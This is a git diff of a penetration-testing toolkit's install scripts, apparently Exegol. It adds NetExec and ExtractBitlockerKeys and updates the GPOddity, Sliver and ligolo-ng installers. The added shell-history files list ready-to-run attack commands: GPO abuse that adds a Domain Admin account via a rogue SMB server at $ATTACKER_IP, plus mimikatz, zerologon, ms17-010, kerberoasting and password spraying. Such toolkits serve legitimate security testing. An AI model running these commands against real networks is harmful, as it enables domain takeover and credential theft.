diff --git a/sources/assets/netexec/nxc.conf b/sources/assets/netexec/nxc.conf
new file mode 100644
index 000000000..576760c38
--- /dev/null
+++ b/sources/assets/netexec/nxc.conf
@@ -0,0 +1,27 @@
+[nxc]
+workspace = default
+last_used_db = smb
+pwn3d_label = admin
+audit_mode =
+reveal_chars_of_pwd = 0
+log_mode = False
+ignore_opsec = True
+host_info_colors = ["green", "red", "yellow", "cyan"]
+
+[BloodHound]
+bh_enabled = False
+bh_uri = 127.0.0.1
+bh_port = 7687
+bh_user = neo4j
+bh_pass = exegol4thewin
+
+[Empire]
+api_host = 127.0.0.1
+api_port = 1337
+username = empireadmin
+password = exegol4thewin
+
+[Metasploit]
+rpc_host = 127.0.0.1
+rpc_port = 55552
+password = abc123
diff --git a/sources/assets/zsh/aliases.d/GPOddity b/sources/assets/zsh/aliases.d/GPOddity
deleted file mode 100644
index 17bd24377..000000000
--- a/sources/assets/zsh/aliases.d/GPOddity
+++ /dev/null
@@ -1 +0,0 @@
-alias gpoddity.py='/opt/tools/GPOddity/venv/bin/python3 /opt/tools/GPOddity/gpoddity.py'
\ No newline at end of file
diff --git a/sources/assets/zsh/aliases.d/extractbitlockerkeys b/sources/assets/zsh/aliases.d/extractbitlockerkeys
new file mode 100644
index 000000000..30e39649e
--- /dev/null
+++ b/sources/assets/zsh/aliases.d/extractbitlockerkeys
@@ -0,0 +1 @@
+alias extractbitlockerkeys.py="/opt/tools/ExtractBitlockerKeys/venv/bin/python3 /opt/tools/ExtractBitlockerKeys/ExtractBitlockerKeys.py"
\ No newline at end of file
diff --git a/sources/assets/zsh/aliases.d/netexec b/sources/assets/zsh/aliases.d/netexec
new file mode 100644
index 000000000..a06f77142
--- /dev/null
+++ b/sources/assets/zsh/aliases.d/netexec
@@ -0,0 +1,2 @@
+alias netexec-neo4j-enable='sed -i "s/bh_enabled = False/bh_enabled = True/" ~/.nxc/nxc.conf'
+alias netexec-neo4j-disable='sed -i "s/bh_enabled = True/bh_enabled = False/" ~/.nxc/nxc.conf'
\ No newline at end of file
diff --git a/sources/assets/zsh/history.d/GPOddity b/sources/assets/zsh/history.d/GPOddity
index 49e033284..b7c8652d2 100644
--- a/sources/assets/zsh/history.d/GPOddity
+++ b/sources/assets/zsh/history.d/GPOddity
@@ -1,2 +1,2 @@
-gpoddity.py --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --domain "$DOMAIN" --username 'GPODDITY$' --password "$PASSWORD" --command 'net user attackeradmin exegol4thewin! /add && net localgroup administrators attackeradmin /add' --rogue-smbserver-ip "$ATTACKER_IP" --rogue-smbserver-share "EXEGOL"
-gpoddity.py --gpo-id '7B36419B-B566-46FA-A7B7-58CA9030A604' --gpo-type 'user' --no-smb-server --domain "$DOMAIN" --username 'GPODDITY$' --password "$PASSWORD" --command 'net user attackeradmin exegol4thewin! /add /domain && net group "Domain Admins" attackeradmin /ADD /DOMAIN' --rogue-smbserver-ip "$ATTACKER_IP" --rogue-smbserver-share "EXEGOL"
\ No newline at end of file
+gpoddity --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --domain "$DOMAIN" --username 'GPODDITY$' --password "$PASSWORD" --command 'net user attackeradmin exegol4thewin! /add && net localgroup administrators attackeradmin /add' --rogue-smbserver-ip "$ATTACKER_IP" --rogue-smbserver-share "EXEGOL"
+gpoddity --gpo-id '7B36419B-B566-46FA-A7B7-58CA9030A604' --gpo-type 'user' --no-smb-server --domain "$DOMAIN" --username 'GPODDITY$' --password "$PASSWORD" --command 'net user attackeradmin exegol4thewin! /add /domain && net group "Domain Admins" attackeradmin /ADD /DOMAIN' --rogue-smbserver-ip "$ATTACKER_IP" --rogue-smbserver-share "EXEGOL"
\ No newline at end of file
diff --git a/sources/assets/zsh/history.d/extractbitlockerkeys b/sources/assets/zsh/history.d/extractbitlockerkeys
new file mode 100644
index 000000000..723473a5e
--- /dev/null
+++ b/sources/assets/zsh/history.d/extractbitlockerkeys
@@ -0,0 +1 @@
+extractbitlockerkeys.py -dc-ip $DC_IP -Username $USERNAME -Password $PASSWORD -ExportToCSV ./keys.csv -ExportToJSON ./keys.json
\ No newline at end of file
diff --git a/sources/assets/zsh/history.d/netexec b/sources/assets/zsh/history.d/netexec
new file mode 100644
index 000000000..2000aee9c
--- /dev/null
+++ b/sources/assets/zsh/history.d/netexec
@@ -0,0 +1,21 @@
+netexec smb --list-modules
+netexec ldap "$DC_HOST" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -M maq
+netexec ldap "$DC_HOST" -d "$DOMAIN" -u "$USER" -p "$PASSWORD"
+netexec ldap "$DC_HOST" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --asreproast ASREProastables.txt --kdcHost "$DC_HOST"
+netexec ldap "$DC_HOST" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --kerberoasting Kerberoastables.txt --kdcHost "$DC_HOST"
+netexec smb "$TARGET" --continue-on-success --no-bruteforce -u users.txt -p passwords.txt
+netexec smb "$TARGET" --continue-on-success -u users.txt -p passwords.txt
+netexec smb "$TARGET" --local-auth -u "$USER" -H "$NT_HASH" -M enum_avproducts
+netexec smb "$TARGET" --local-auth -u "$USER" -H "$NT_HASH" -M mimikatz
+netexec smb "$TARGET" -u '' -p '' --pass-pol
+netexec smb 192.168.56.0/24 --gen-relay-list smb_targets.txt
+netexec smb 192.168.56.0/24 --local-auth -u '' -p ''
+netexec smb 192.168.56.0/24 -u "$USER" -p "$PASSWORD" --loggedon-users
+netexec smb 192.168.56.0/24 -u "$USER" -p "$PASSWORD" --sessions
+netexec smb 192.168.56.0/24 -u "$USER" -p "$PASSWORD" --shares
+netexec smb 192.168.56.0/24 -u '' -p '' --shares
+netexec smb "$IP" -u "$USER" -p "$PASSWORD" -M noPac
+netexec smb "$IP" -u "$USER" -p "$PASSWORD" -M petitpotam
+netexec smb "$IP" -u '' -p '' -M zerologon
+netexec smb "$IP" -u '' -p '' -M ms17-010
+netexec smb "$IP" -u '' -p '' -M ioxidresolver
diff --git a/sources/code_compliance_check.py b/sources/code_compliance_check.py
index a6a1debab..451fb4fe8 100644
--- a/sources/code_compliance_check.py
+++ b/sources/code_compliance_check.py
@@ -24,7 +24,7 @@ def get_functions_with_content(filename):
     with open(filename, 'r') as file:
         content = file.read()
     # Regex to retrieve function name and content
-    pattern = r'function\s+(install_\w+)\(\)\s+({[^}]*\n})'
+    pattern = r'function\s+(install_\S+)\(\)\s+({[^}]*\n})'
     return re.findall(pattern, content, re.DOTALL)
 
 
diff --git a/sources/install/common.sh b/sources/install/common.sh
index bd76ccc08..aec290b82 100644
--- a/sources/install/common.sh
+++ b/sources/install/common.sh
@@ -52,6 +52,11 @@ function fapt() {
     apt-fast install -y --no-install-recommends "$@"
 }
 
+function set_cargo_env() {
+    colorecho "Setting cargo environment variables for installation"
+    source $HOME/.cargo/env
+}
+
 function set_go_env() {
     colorecho "Setting golang environment variables for installation"
     export GO111MODULE=auto
diff --git a/sources/install/package_ad.sh b/sources/install/package_ad.sh
index bb42b4a15..cafce957d 100644
--- a/sources/install/package_ad.sh
+++ b/sources/install/package_ad.sh
@@ -90,9 +90,6 @@ function install_ldapdomaindump() {
 
 function install_crackmapexec() {
     colorecho "Installing CrackMapExec"
-    # Source bc cme needs cargo PATH (rustc) -> aardwolf dep
-    # TODO: Optimize so that the PATH is always up to date
-    source /root/.zshrc || true
     git -C /opt/tools/ clone --depth 1 https://github.com/Porchetta-Industries/CrackMapExec
     pipx install /opt/tools/CrackMapExec/
     mkdir -p ~/.cme
@@ -366,6 +363,7 @@ function install_enyx() {
 }
 
 function install_enum4linux-ng() {
+    # CODE-CHECK-WHITELIST=add-aliases
     colorecho "Installing enum4linux-ng"
     pipx install git+https://github.com/cddmp/enum4linux-ng
     add-history enum4linux-ng
@@ -488,6 +486,7 @@ function install_pth-tools() {
 }
 
 function install_smtp-user-enum() {
+    # CODE-CHECK-WHITELIST=add-aliases
     colorecho "Installing smtp-user-enum"
     pipx install smtp-user-enum
     add-history smtp-user-enum
@@ -556,6 +555,7 @@ function install_pygpoabuse() {
 }
 
 function install_bloodhound-import() {
+    # CODE-CHECK-WHITELIST=add-aliases
     colorecho "Installing bloodhound-import"
     pipx install bloodhound-import
     add-history bloodhound-import
@@ -989,20 +989,44 @@ function install_teamsphisher() {
 }
 
 function install_GPOddity() {
-  colorecho "Installing GPOddity"
-  git -C /opt/tools/ clone --depth 1 https://github.com/synacktiv/GPOddity
-  cd /opt/tools/GPOddity || exit
-  python3 -m venv ./venv
-  catch_and_retry ./venv/bin/python3 -m pip install -r requirements.txt
-  add-aliases GPOddity
-  add-history GPOddity
-  add-test-command "gpoddity.py --help"
-  add-to-list "GPOddity,https://github.com/synacktiv/GPOddity,Aiming at automating GPO attack vectors through NTLM relaying (and more)"
+    # CODE-CHECK-WHITELIST=add-aliases
+    colorecho "Installing GPOddity"
+    pipx install git+https://github.com/synacktiv/GPOddity
+    add-history GPOddity
+    add-test-command "gpoddity --help"
+    add-to-list "GPOddity,https://github.com/synacktiv/GPOddity,Aiming at automating GPO attack vectors through NTLM relaying (and more)"
+}
+
+function install_netexec() {
+    colorecho "Installing netexec"
+    git -C /opt/tools/ clone --depth 1 https://github.com/Pennyw0rth/NetExec
+    pipx install /opt/tools/NetExec/
+    mkdir -p ~/.nxc
+    [ -f ~/.nxc/nxc.conf ] && mv ~/.nxc/nxc.conf ~/.nxc/nxc.conf.bak
+    cp -v /root/sources/assets/netexec/nxc.conf ~/.nxc/nxc.conf
+    cp -v /root/sources/assets/grc/conf.cme /usr/share/grc/conf.cme
+    add-aliases netexec
+    add-history netexec
+    add-test-command "netexec --help"
+    add-to-list "netexec,https://github.com/Pennyw0rth/NetExec,Network scanner (Crackmapexec updated)."
+}
+
+function install_extractbitlockerkeys() {
+    colorecho "Installing ExtractBitlockerKeys"
+    git -C /opt/tools/ clone --depth 1 https://github.com/p0dalirius/ExtractBitlockerKeys
+    cd /opt/tools/ExtractBitlockerKeys || exit
+    python3 -m venv ./venv
+    catch_and_retry ./venv/bin/python3 -m pip install -r requirements.txt
+    add-aliases extractbitlockerkeys
+    add-history extractbitlockerkeys
+    add-test-command "extractbitlockerkeys.py|& grep 'usage: ExtractBitlockerKeys.py'"
+    add-to-list "ExtractBitlockerKeys,https://github.com/p0dalirius/ExtractBitlockerKeys,A system administration or post-exploitation script to automatically extract the bitlocker recovery keys from a domain."
 }
 
 # Package dedicated to internal Active Directory tools
 function package_ad() {
     install_ad_apt_tools
+    set_cargo_env
     set_go_env
     set_ruby_env
     set_python_env
@@ -1084,4 +1108,6 @@ function package_ad() {
     install_roadtools              # Rogue Office 365 and Azure (active) Directory tools
     install_teamsphisher           # TeamsPhisher is a Python3 program that facilitates the delivery of phishing messages and attachments to Microsoft Teams users whose organizations allow external communications.
     install_GPOddity
+    install_netexec                # Crackmapexec repo
+    install_extractbitlockerkeys   # Extract Bitlocker recovery keys from all the computers of the domain
 }
diff --git a/sources/install/package_c2.sh b/sources/install/package_c2.sh
index 4ab2ba17d..9a4e85c02 100644
--- a/sources/install/package_c2.sh
+++ b/sources/install/package_c2.sh
@@ -43,10 +43,22 @@ function install_routersploit() {
 function install_sliver() {
     # CODE-CHECK-WHITELIST=add-aliases
     colorecho "Installing Sliver"
-    git -C /opt/tools/ clone --depth 1 https://github.com/BishopFox/sliver.git
-    cd /opt/tools/sliver
+    # Deletion of --depth 1 due to installation of stable branch
+    git -C /opt/tools/ clone https://github.com/BishopFox/sliver.git
+    cd /opt/tools/sliver || exit
+    # making the static version checkout a temporary thing
+    # function below will serve as a reminder to update sliver's version regularly
+    # when the pipeline fails because the time limit is reached: update the version and the time limit
+    # or check if it's possible to make this dynamic
+    local TEMP_FIX_LIMIT="2024-02-25"
+    if [ "$(date +%Y%m%d)" -gt "$(date -d $TEMP_FIX_LIMIT +%Y%m%d)" ]; then
+      criticalecho "Temp fix expired. Exiting."
+    else
+      git checkout tags/v1.5.39
+    fi
     make
-    mv sliver-* /opt/tools/bin
+    ln -s /opt/tools/sliver/sliver-server /opt/tools/bin/sliver-server
+    ln -s /opt/tools/sliver/sliver-client /opt/tools/bin/sliver-client
     add-history sliver
     add-test-command "sliver-server help"
     add-test-command "sliver-client help"
@@ -55,6 +67,7 @@ function install_sliver() {
 
 # Package dedicated to command & control frameworks
 function package_c2() {
+    set_cargo_env
     set_go_env
     set_ruby_env
     set_python_env
diff --git a/sources/install/package_cloud.sh b/sources/install/package_cloud.sh
index 747aaa5d9..3162e6e32 100644
--- a/sources/install/package_cloud.sh
+++ b/sources/install/package_cloud.sh
@@ -116,6 +116,7 @@ function install_azure_cli() {
 
 # Package dedicated to cloud tools
 function package_cloud() {
+    set_cargo_env
     set_ruby_env
     set_python_env
     install_kubectl
diff --git a/sources/install/package_code_analysis.sh b/sources/install/package_code_analysis.sh
index 8bab0442f..5a02783ce 100644
--- a/sources/install/package_code_analysis.sh
+++ b/sources/install/package_code_analysis.sh
@@ -46,6 +46,7 @@ function install_pp-finder() {
 
 # Package dedicated to SAST and DAST tools
 function package_code_analysis() {
+    set_cargo_env
     set_ruby_env
     set_python_env
     install_vulny-code-static-analysis
diff --git a/sources/install/package_cracking.sh b/sources/install/package_cracking.sh
index 1301e67e3..8cf3150d9 100644
--- a/sources/install/package_cracking.sh
+++ b/sources/install/package_cracking.sh
@@ -36,6 +36,7 @@ function install_john() {
 }
 
 function install_name-that-hash() {
+    # CODE-CHECK-WHITELIST=add-aliases
     colorecho "Installing Name-That-Hash"
     pipx install name-that-hash
     add-history name-that-hash
@@ -80,6 +81,7 @@ function install_pkcrack() {
 
 # Package dedicated to offline cracking/bruteforcing tools
 function package_cracking() {
+    set_cargo_env
     set_ruby_env
     set_python_env
     install_cracking_apt_tools
diff --git a/sources/install/package_crypto.sh b/sources/install/package_crypto.sh
index a89a8ec1c..54b54deaf 100644
--- a/sources/install/package_crypto.sh
+++ b/sources/install/package_crypto.sh
@@ -40,6 +40,7 @@ function install_rsacracker() {
 
 # Package dedicated to attack crypto
 function package_crypto() {
+    set_cargo_env
     set_ruby_env
     set_python_env
     install_rsactftool              # attack rsa
diff --git a/sources/install/package_forensic.sh b/sources/install/package_forensic.sh
index 172adb9e0..9c3695da1 100644
--- a/sources/install/package_forensic.sh
+++ b/sources/install/package_forensic.sh
@@ -113,6 +113,7 @@ function install_chainsaw() {
 
 # Package dedicated to forensic tools
 function package_forensic() {
+    set_cargo_env
     set_ruby_env
     set_python_env
     install_forensic_apt_tools
diff --git a/sources/install/package_iot.sh b/sources/install/package_iot.sh
index 73e73ade4..de348291e 100644
--- a/sources/install/package_iot.sh
+++ b/sources/install/package_iot.sh
@@ -20,6 +20,7 @@ function install_iot_apt_tools() {
 
 # Package dedicated to IoT tools
 function package_iot() {
+    set_cargo_env
     set_ruby_env
     set_python_env
     install_iot_apt_tools
diff --git a/sources/install/package_misc.sh b/sources/install/package_misc.sh
index ec6f5f69b..a8d1ef9a2 100644
--- a/sources/install/package_misc.sh
+++ b/sources/install/package_misc.sh
@@ -163,6 +163,7 @@ function install_yt-dlp() {
 
 # Package dedicated to offensive miscellaneous tools
 function package_misc() {
+    set_cargo_env
     set_go_env
     set_ruby_env
     set_python_env
diff --git a/sources/install/package_mobile.sh b/sources/install/package_mobile.sh
index ee7e5cf42..66a65d8e9 100644
--- a/sources/install/package_mobile.sh
+++ b/sources/install/package_mobile.sh
@@ -92,6 +92,7 @@ function install_androguard() {
 
 # Package dedicated to mobile apps pentest tools
 function package_mobile() {
+    set_cargo_env
     set_ruby_env
     set_python_env
     install_mobile_apt_tools
diff --git a/sources/install/package_most_used.sh b/sources/install/package_most_used.sh
index 86ece30df..67729aa52 100644
--- a/sources/install/package_most_used.sh
+++ b/sources/install/package_most_used.sh
@@ -52,6 +52,7 @@ function install_most_used_apt_tools() {
 
 # Package dedicated to most used offensive tools
 function package_most_used() {
+    set_cargo_env
     set_go_env
     set_ruby_env
     set_python_env
@@ -85,4 +86,5 @@ function package_most_used() {
     install_evilwinrm               # WinRM shell
     install_john                    # Password cracker
     install_sqlmap                  # SQL injection scanner
+    install_netexec                 # Crackmapexec repo
 }
\ No newline at end of file
diff --git a/sources/install/package_network.sh b/sources/install/package_network.sh
index 77f17f7de..2e4401eeb 100644
--- a/sources/install/package_network.sh
+++ b/sources/install/package_network.sh
@@ -204,22 +204,13 @@ function install_tailscale() {
 }
 
 function install_ligolo-ng() {
+    # CODE-CHECK-WHITELIST=add-aliases
     colorecho "Installing ligolo-ng"
-    # Waiting for the issue to be resolved
-    # https://github.com/nicocha30/ligolo-ng/issues/32
-    mkdir /tmp/ligolo
-    if [[ $(uname -m) = 'x86_64' ]]
-    then
-        wget -O /tmp/ligolo/proxy.tar.gz "https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.4/ligolo-ng_proxy_0.4.4_linux_amd64.tar.gz"
-    elif [[ $(uname -m) = 'aarch64' ]]
-    then
-        wget -O /tmp/ligolo/proxy.tar.gz "https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.4/ligolo-ng_proxy_0.4.4_linux_arm64.tar.gz"
-    else
-        criticalecho-noexit "This installation function doesn't support architecture $(uname -m)" && return
-    fi
-    tar -xvf /tmp/ligolo/proxy.tar.gz -C /tmp/ligolo
-    mv /tmp/ligolo/proxy /opt/tools/bin/ligolo-ng
-    rm -rf /tmp/ligolo
+    git -C /opt/tools clone --depth 1 https://github.com/nicocha30/ligolo-ng.git
+    cd /opt/tools/ligolo-ng || exit
+    go build -o agent cmd/agent/main.go
+    go build -o proxy cmd/proxy/main.go
+    ln -s /opt/tools/ligolo-ng/proxy /opt/tools/bin/ligolo-ng
     add-history ligolo-ng
     add-test-command "ligolo-ng --help"
     add-to-list "ligolo-ng,https://github.com/nicocha30/ligolo-ng,An advanced yet simple tunneling tool that uses a TUN interface."
@@ -243,6 +234,7 @@ function install_rustscan() {
 
 # Package dedicated to network pentest tools
 function package_network() {
+    set_cargo_env
     set_go_env
     set_ruby_env
     set_python_env
diff --git a/sources/install/package_osint.sh b/sources/install/package_osint.sh
index 098725976..f15711532 100644
--- a/sources/install/package_osint.sh
+++ b/sources/install/package_osint.sh
@@ -495,6 +495,7 @@ function install_gomapenum() {
 
 # Package dedicated to osint, recon and passive tools
 function package_osint() {
+    set_cargo_env
     set_go_env
     set_ruby_env
     set_python_env
diff --git a/sources/install/package_reverse.sh b/sources/install/package_reverse.sh
index 16d61a6ca..1c5662082 100644
--- a/sources/install/package_reverse.sh
+++ b/sources/install/package_reverse.sh
@@ -116,6 +116,7 @@ function install_ida() {
 }
 
 function install_jd-gui() {
+    # CODE-CHECK-WHITELIST=add-test-command
     colorecho "Installing jd-gui"
     mkdir -p /opt/tools/jd-gui && cd /opt/tools/jd-gui || exit
     wget https://github.com/java-decompiler/jd-gui/releases/download/v1.6.6/jd-gui-1.6.6.jar
@@ -139,6 +140,7 @@ function install_pwninit() {
 
 # Package dedicated to reverse engineering tools
 function package_reverse() {
+    set_cargo_env
     set_ruby_env
     set_python_env
     install_reverse_apt_tools
diff --git a/sources/install/package_rfid.sh b/sources/install/package_rfid.sh
index 99470a8e5..0eec9ab3e 100644
--- a/sources/install/package_rfid.sh
+++ b/sources/install/package_rfid.sh
@@ -87,6 +87,7 @@ function install_proxmark3() {
 
 # Package dedicated to RFID/NCF pentest tools
 function package_rfid() {
+    set_cargo_env
     set_ruby_env
     set_python_env
     install_rfid_apt_tools
diff --git a/sources/install/package_sdr.sh b/sources/install/package_sdr.sh
index 8e50f1a39..ca9df2d13 100644
--- a/sources/install/package_sdr.sh
+++ b/sources/install/package_sdr.sh
@@ -50,6 +50,7 @@ function install_jackit() {
 
 # Package dedicated to SDR
 function package_sdr() {
+    set_cargo_env
     set_ruby_env
     set_python_env
     install_sdr_apt_tools
diff --git a/sources/install/package_steganography.sh b/sources/install/package_steganography.sh
index f1ca0e2b3..1b0a0b30d 100644
--- a/sources/install/package_steganography.sh
+++ b/sources/install/package_steganography.sh
@@ -50,6 +50,7 @@ function install_stegolsb() {
 
 # Package dedicated to steganography tools
 function package_steganography() {
+    set_cargo_env
     set_ruby_env
     set_python_env
     install_steganography_apt_tools
diff --git a/sources/install/package_voip.sh b/sources/install/package_voip.sh
index 54aa45928..2010d0ae4 100644
--- a/sources/install/package_voip.sh
+++ b/sources/install/package_voip.sh
@@ -14,6 +14,7 @@ function install_sipvicious() {
 
 # Package dedicated to VOIP/SIP pentest tools
 function package_voip() {
+    set_cargo_env
     set_ruby_env
     set_python_env
     install_sipvicious              # Set of tools for auditing SIP based VOIP systems
diff --git a/sources/install/package_web.sh b/sources/install/package_web.sh
index 9b1f69e8a..fd1f03141 100644
--- a/sources/install/package_web.sh
+++ b/sources/install/package_web.sh
@@ -56,8 +56,13 @@ function install_wfuzz() {
     apt --purge remove python3-pycurl -y
     fapt libcurl4-openssl-dev libssl-dev
     pip3 install pycurl wfuzz
+    mkdir /usr/share/wfuzz
+    git -C /tmp clone --depth 1 https://github.com/xmendez/wfuzz.git
+    mv /tmp/wfuzz/wordlist/* /usr/share/wfuzz
+    rm -rf /tmp/wfuzz
     add-history wfuzz
     add-test-command "wfuzz --help"
+    add-test-command "[ -d '/usr/share/wfuzz/' ] || exit 1"
     add-to-list "wfuzz,https://github.com/xmendez/wfuzz,WFuzz is a web application vulnerability scanner that allows you to find vulnerabilities using a wide range of attack payloads and fuzzing techniques"
 }
 
@@ -479,6 +484,7 @@ function install_wuzz() {
 }
 
 function install_git-dumper() {
+    # CODE-CHECK-WHITELIST=add-aliases
     colorecho "Installing git-dumper"
     pipx install git-dumper
     add-history git-dumper
@@ -766,10 +772,11 @@ function install_sqlmap() {
 
 # Package dedicated to applicative and active web pentest tools
 function package_web() {
-    install_web_apt_tools
+    set_cargo_env
     set_go_env
     set_ruby_env
     set_python_env
+    install_web_apt_tools
     install_weevely                 # Weaponized web shell
     install_whatweb                 # Recognises web technologies including content management
     install_wfuzz                   # Web fuzzer (second favorites)
diff --git a/sources/install/package_wifi.sh b/sources/install/package_wifi.sh
index 1588d475a..726f4007e 100644
--- a/sources/install/package_wifi.sh
+++ b/sources/install/package_wifi.sh
@@ -102,6 +102,7 @@ function install_hcxdumptool() {
 
 # Package dedicated to wifi pentest tools
 function package_wifi() {
+    set_cargo_env
     set_go_env
     set_ruby_env
     set_python_env
diff --git a/sources/install/package_wordlists.sh b/sources/install/package_wordlists.sh
index a44f722ff..f986a8a26 100644
--- a/sources/install/package_wordlists.sh
+++ b/sources/install/package_wordlists.sh
@@ -81,6 +81,7 @@ function install_genusernames() {
 
 # Package dedicated to the installation of wordlists and tools like wl generators
 function package_wordlists() {
+    set_cargo_env
     set_ruby_env
     set_python_env
     install_wordlists_apt_tools